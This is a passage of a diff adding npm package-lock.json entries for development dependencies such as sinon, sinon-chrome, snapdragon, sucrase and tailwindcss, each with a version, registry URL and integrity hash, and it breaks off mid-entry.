+ },
+ "sinon": {
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/sinon/-/sinon-11.1.2.tgz",
+ "integrity": "sha512-59237HChms4kg7/sXhiRcUzdSkKuydDeTiamT/jesUVHshBgL8XAmhgFo0GfK6RruMDM/iRSij1EybmMog9cJw==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1.8.3",
+ "@sinonjs/fake-timers": "^7.1.2",
+ "@sinonjs/samsam": "^6.0.2",
+ "diff": "^5.0.0",
+ "nise": "^5.1.0",
+ "supports-color": "^7.2.0"
+ }
+ },
+ "sinon-chrome": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/sinon-chrome/-/sinon-chrome-3.0.1.tgz",
+ "integrity": "sha512-NTEFhyuiWEMnRmIqldUiA2DhKn2EqnZxyEk5Ez5rBXj+Nl54aJ0MEmF4wjltrxecxd8zlNLxyE0HyLabev9JsQ==",
+ "dev": true,
+ "requires": {
+ "lodash": "^4.16.3",
+ "sinon": "^7.2.3",
+ "urijs": "^1.18.2"
+ },
+ "dependencies": {
+ "@sinonjs/samsam": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz",
+ "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1.3.0",
+ "array-from": "^2.1.1",
+ "lodash": "^4.17.15"
+ }
+ },
+ "diff": {
+ "version": "3.5.0",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
+ "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
+ "dev": true
+ },
+ "has-flag": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+ "dev": true
+ },
+ "nise": {
+ "version": "1.5.3",
+ "resolved": "https://registry.npmjs.org/nise/-/nise-1.5.3.tgz",
+ "integrity": "sha512-Ymbac/94xeIrMf59REBPOv0thr+CJVFMhrlAkW/gjCIE58BGQdCj0x7KRCb3yz+Ga2Rz3E9XXSvUyyxqqhjQAQ==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/formatio": "^3.2.1",
+ "@sinonjs/text-encoding": "^0.7.1",
+ "just-extend": "^4.0.2",
+ "lolex": "^5.0.1",
+ "path-to-regexp": "^1.7.0"
+ },
+ "dependencies": {
+ "lolex": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/lolex/-/lolex-5.1.2.tgz",
+ "integrity": "sha512-h4hmjAvHTmd+25JSwrtTIuwbKdwg5NzZVRMLn9saij4SZaepCrTCxPr35H/3bjwfMJtN+t3CX8672UIkglz28A==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1.7.0"
+ }
+ }
+ }
+ },
+ "sinon": {
+ "version": "7.5.0",
+ "resolved": "https://registry.npmjs.org/sinon/-/sinon-7.5.0.tgz",
+ "integrity": "sha512-AoD0oJWerp0/rY9czP/D6hDTTUYGpObhZjMpd7Cl/A6+j0xBE+ayL/ldfggkBXUs0IkvIiM1ljM8+WkOc5k78Q==",
+ "dev": true,
+ "requires": {
+ "@sinonjs/commons": "^1.4.0",
+ "@sinonjs/formatio": "^3.2.1",
+ "@sinonjs/samsam": "^3.3.3",
+ "diff": "^3.5.0",
+ "lolex": "^4.2.0",
+ "nise": "^1.5.2",
+ "supports-color": "^5.5.0"
+ }
+ },
+ "supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^3.0.0"
+ }
+ }
+ }
+ },
+ "sisteransi": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+ "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
+ "dev": true
+ },
+ "slash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+ "dev": true
+ },
+ "snapdragon": {
+ "version": "0.8.2",
+ "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
+ "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
+ "dev": true,
+ "requires": {
+ "base": "^0.11.1",
+ "debug": "^2.2.0",
+ "define-property": "^0.2.5",
+ "extend-shallow": "^2.0.1",
+ "map-cache": "^0.2.2",
+ "source-map": "^0.5.6",
+ "source-map-resolve": "^0.5.0",
+ "use": "^3.1.0"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "2.6.9",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+ "dev": true,
+ "requires": {
+ "ms": "2.0.0"
+ }
+ },
+ "ms": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+ "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+ "dev": true
+ },
+ "source-map": {
+ "version": "0.5.7",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
+ "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==",
+ "dev": true
+ }
+ }
+ },
+ "snapdragon-node": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
+ "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
+ "dev": true,
+ "requires": {
+ "define-property": "^1.0.0",
+ "isobject": "^3.0.0",
+ "snapdragon-util": "^3.0.1"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+ "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.0"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ }
+ }
+ },
+ "snapdragon-util": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
+ "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^3.2.0"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+ "source-map": {
+ "version": "0.6.1",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+ "dev": true
+ },
+ "source-map-js": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
+ "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+ "dev": true
+ },
+ "source-map-resolve": {
+ "version": "0.5.3",
+ "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
+ "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
+ "dev": true,
+ "requires": {
+ "atob": "^2.1.2",
+ "decode-uri-component": "^0.2.0",
+ "resolve-url": "^0.2.1",
+ "source-map-url": "^0.4.0",
+ "urix": "^0.1.0"
+ }
+ },
+ "source-map-support": {
+ "version": "0.5.21",
+ "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+ "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+ "dev": true,
+ "requires": {
+ "buffer-from": "^1.0.0",
+ "source-map": "^0.6.0"
+ }
+ },
+ "source-map-url": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz",
+ "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==",
+ "dev": true
+ },
+ "sparkles": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/sparkles/-/sparkles-1.0.1.tgz",
+ "integrity": "sha512-dSO0DDYUahUt/0/pD/Is3VIm5TGJjludZ0HVymmhYF6eNA53PVLhnUk0znSYbH8IYBuJdCE+1luR22jNLMaQdw==",
+ "dev": true
+ },
+ "spawn-wrap": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/spawn-wrap/-/spawn-wrap-2.0.0.tgz",
+ "integrity": "sha512-EeajNjfN9zMnULLwhZZQU3GWBoFNkbngTUPfaawT4RkMiviTxcX0qfhVbGey39mfctfDHkWtuecgQ8NJcyQWHg==",
+ "dev": true,
+ "requires": {
+ "foreground-child": "^2.0.0",
+ "is-windows": "^1.0.2",
+ "make-dir": "^3.0.0",
+ "rimraf": "^3.0.0",
+ "signal-exit": "^3.0.2",
+ "which": "^2.0.1"
+ },
+ "dependencies": {
+ "make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "requires": {
+ "semver": "^6.0.0"
+ }
+ }
+ }
+ },
+ "spdx-correct": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz",
+ "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==",
+ "dev": true,
+ "requires": {
+ "spdx-expression-parse": "^3.0.0",
+ "spdx-license-ids": "^3.0.0"
+ }
+ },
+ "spdx-exceptions": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz",
+ "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==",
+ "dev": true
+ },
+ "spdx-expression-parse": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz",
+ "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==",
+ "dev": true,
+ "requires": {
+ "spdx-exceptions": "^2.1.0",
+ "spdx-license-ids": "^3.0.0"
+ }
+ },
+ "spdx-license-ids": {
+ "version": "3.0.13",
+ "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.13.tgz",
+ "integrity": "sha512-XkD+zwiqXHikFZm4AX/7JSCXA98U5Db4AFd5XUg/+9UNtnH75+Z9KxtpYiJZx36mUDVOwH83pl7yvCer6ewM3w==",
+ "dev": true
+ },
+ "split": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz",
+ "integrity": "sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==",
+ "dev": true,
+ "requires": {
+ "through": "2"
+ }
+ },
+ "split-string": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
+ "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
+ "dev": true,
+ "requires": {
+ "extend-shallow": "^3.0.0"
+ },
+ "dependencies": {
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ }
+ }
+ },
+ "sprintf-js": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+ "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
+ "dev": true
+ },
+ "stack-trace": {
+ "version": "0.0.10",
+ "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz",
+ "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==",
+ "dev": true
+ },
+ "static-extend": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
+ "integrity": "sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==",
+ "dev": true,
+ "requires": {
+ "define-property": "^0.2.5",
+ "object-copy": "^0.1.0"
+ }
+ },
+ "stream-combiner": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/stream-combiner/-/stream-combiner-0.2.2.tgz",
+ "integrity": "sha512-6yHMqgLYDzQDcAkL+tjJDC5nSNuNIx0vZtRZeiPh7Saef7VHX9H5Ijn9l2VIol2zaNYlYEX6KyuT/237A58qEQ==",
+ "dev": true,
+ "requires": {
+ "duplexer": "~0.1.1",
+ "through": "~2.3.4"
+ }
+ },
+ "stream-exhaust": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/stream-exhaust/-/stream-exhaust-1.0.2.tgz",
+ "integrity": "sha512-b/qaq/GlBK5xaq1yrK9/zFcyRSTNxmcZwFLGSTG0mXgZl/4Z6GgiyYOXOvY7N3eEvFRAG1bkDRz5EPGSvPYQlw==",
+ "dev": true
+ },
+ "stream-shift": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz",
+ "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==",
+ "dev": true
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "dev": true,
+ "requires": {
+ "safe-buffer": "~5.1.0"
+ }
+ },
+ "string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "dev": true,
+ "requires": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ }
+ },
+ "strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "dev": true,
+ "requires": {
+ "ansi-regex": "^5.0.1"
+ }
+ },
+ "strip-bom": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
+ "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
+ "dev": true
+ },
+ "strip-json-comments": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
+ "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
+ "dev": true
+ },
+ "sucrase": {
+ "version": "3.34.0",
+ "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz",
+ "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==",
+ "dev": true,
+ "requires": {
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "commander": "^4.0.0",
+ "glob": "7.1.6",
+ "lines-and-columns": "^1.1.6",
+ "mz": "^2.7.0",
+ "pirates": "^4.0.1",
+ "ts-interface-checker": "^0.1.9"
+ },
+ "dependencies": {
+ "commander": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
+ "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+ "dev": true
+ },
+ "glob": {
+ "version": "7.1.6",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
+ "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
+ "dev": true,
+ "requires": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^3.0.4",
+ "once": "^1.3.0",
+ "path-is-absolute": "^1.0.0"
+ }
+ }
+ }
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ },
+ "supports-preserve-symlinks-flag": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+ "dev": true
+ },
+ "sver-compat": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/sver-compat/-/sver-compat-1.5.0.tgz",
+ "integrity": "sha512-aFTHfmjwizMNlNE6dsGmoAM4lHjL0CyiobWaFiXWSlD7cIxshW422Nb8KbXCmR6z+0ZEPY+daXJrDyh/vuwTyg==",
+ "dev": true,
+ "requires": {
+ "es6-iterator": "^2.0.1",
+ "es6-symbol": "^3.1.1"
+ }
+ },
+ "symbol-tree": {
+ "version": "3.2.4",
+ "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+ "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
+ "dev": true
+ },
+ "taffydb": {
+ "version": "2.6.2",
+ "resolved": "https://registry.npmjs.org/taffydb/-/taffydb-2.6.2.tgz",
+ "integrity": "sha512-y3JaeRSplks6NYQuCOj3ZFMO3j60rTwbuKCvZxsAraGYH2epusatvZ0baZYA01WsGqJBq/Dl6vOrMUJqyMj8kA==",
+ "dev": true
+ },
+ "tailwindcss": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.3.tgz",
+ "integrity": "sha512-A0KgSkef7eE4Mf+nKJ83i75TMyq8HqY3qmFIJSWy8bNt0v1lG7jUcpGpoTFxAwYcWOphcTBLPPJg+bDfhDf52w==",
+ "dev": true,
+ "requires": {
+ "@alloc/quick-lru": "^5.2.0",
+ "arg": "^5.0.2",
+ "chokidar": "^3.5.3",
+ "didyoumean": "^1.2.2",
+ "dlv": "^1.1.3",
+ "fast-glob": "^3.2.12",
+ "glob-parent": "^6.0.2",
+ "is-glob": "^4.0.3",
+ "jiti": "^1.18.2",
+ "lilconfig": "^2.1.0",
+ "micromatch": "^4.0.5",
+ "normalize-path": "^3.0.0",
+ "object-hash": "^3.0.0",
+ "picocolors": "^1.0.0",
+ "postcss": "^8.4.23",
+ "postcss-import": "^15.1.0",
+ "postcss-js": "^4.0.1",
+ "postcss-load-config": "^4.0.1",
+ "postcss-nested": "^6.0.1",
+ "postcss-selector-parser": "^6.0.11",
+ "resolve": "^1.22.2",
+ "sucrase": "^3.32.0"
+ },
+ "dependencies": {
+ "anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "requires": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ }
+ },
+ "binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true
+ },
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "dev": true,
+ "requires": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "fsevents": "~2.3.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "dependencies": {
+ "glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ }
+ }
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "optional": true
+ },
+ "is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "requires": {
+ "binary-extensions": "^2.0.0"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
